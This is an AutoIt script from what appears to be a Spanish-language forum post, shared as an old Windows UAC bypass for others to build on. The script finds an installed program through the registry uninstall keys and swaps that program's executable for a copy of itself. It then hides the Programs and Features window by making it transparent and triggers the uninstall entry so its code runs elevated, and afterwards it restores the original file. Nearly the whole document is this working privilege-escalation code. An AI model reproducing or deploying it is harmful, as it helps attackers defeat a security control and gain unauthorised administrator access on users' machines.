#include <GuiListView.au3>
Opt("MustDeclareVars", 1)
Global $sBackUp = ""
If IsAdmin() Then
MsgBox(0, "Pink", "Soy Admin Bye :)")
Exit
Else
MsgBox(0, "Pink", "No soy Admin Bye :(")
_UACByPass()
Sleep(2000)
_BackUp()
Exit
EndIf
Func _UACByPass()
Local $sString = SearchPathAndCopy(@ScriptFullPath)
ConsoleWrite($sString & @CRLF)
If $sString Then _RunLisrView($sString)
EndFunc ;==>_UACByPass
Func _BackUp()
ConsoleWrite("!" & $sBackUp & @CRLF)
If $sBackUp Then
While Not (FileCopy($sBackUp, StringReplace($sBackUp, "BackUp", ""), 1))
Sleep(30)
WEnd
FileDelete($sBackUp)
EndIf
EndFunc ;==>_BackUp
Func SearchPathAndCopy($FileSource)
Local $aReg[2] = ["HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"]
Local $UninstallString = ""
Local $DisplayName = ""
Local $regPath = ""
Local $i = 0
Local $x = 0
Local $aPath = ""
For $x = 0 To UBound($aReg) - 1
While True
$i += 1
Local $entry = RegEnumKey($aReg[$x], $i)
If @error <> 0 Then ExitLoop
$regPath = $aReg[$x] & "\" & $entry
$DisplayName = RegRead($regPath, "DisplayName")
If $DisplayName <> "" Then
$UninstallString = RegRead($regPath, "UninstallString")
If $UninstallString <> "" Then
$aPath = _Split($UninstallString)
If IsArray($aPath) Then
$sBackUp = $aPath[0] & "BackUp" & $aPath[1]
If FileCopy($aPath[0] & $aPath[1], $sBackUp, 1) Then
;~ Sleep(500)
ConsoleWrite("Intento 1" & @CRLF)
FileDelete($aPath[0] & $aPath[1])
;~ Sleep(500)
ConsoleWrite("Intento 1" & @CRLF)
FileCopy($FileSource, $aPath[0] & $aPath[1], 1)
;~ Sleep(500)
ConsoleWrite($DisplayName & @CRLF)
ConsoleWrite($aPath[0] & $aPath[1] & @CRLF)
Return $DisplayName
EndIf
EndIf
;~ ConsoleWrite($message & @CRLF)
EndIf
EndIf
WEnd
$i = 0
Next
Return ""
EndFunc ;==>SearchPathAndCopy
Func _Split($Path)
Local $AReturn[2]
$Path = StringReplace($Path, '"', "")
$Path = StringReplace($Path, "'", "")
Local $exe = StringInStr($Path, ".exe")
Local $newPath = StringMid($Path, 1, $exe + 3)
If Not (StringMid($newPath, 2, 2) == ":\") Then Return False
Local $Split = StringSplit($newPath, "\")
Local $NameFile = $Split[UBound($Split) - 1]
For $i = 1 To UBound($Split) - 2
$AReturn[0] &= $Split[$i] & "\"
Next
$AReturn[1] = $NameFile
Return $AReturn
EndFunc ;==>_Split
Func _RunLisrView($sFind)
Local $handle = 0
Local $hListView = 0
Local $Item = 0
ShellExecute(@SystemDir & "\appwiz.cpl", "", "", "", @SW_MAXIMIZE)
While True
$handle = WinWait("[CLASS:CabinetWClass]")
If $handle Then
WinSetTrans($handle, "", 0)
ExitLoop
EndIf
WEnd
WinActivate($handle)
$hListView = ControlGetHandle($handle, "", "SysListView321")
$Item = ControlListView($handle, "", $hListView, "FindItem", $sFind)
ConsoleWrite($Item & @CRLF)
ControlListView($handle, "", $hListView, "Select", $Item)
ControlSend($handle, "", $hListView, "{enter}")
WinClose($handle)
EndFunc ;==>_RunLisrView
SaludosUna Chorada de UACbyPass que hice hace mucho. por si a alguien le sirve de idea. :)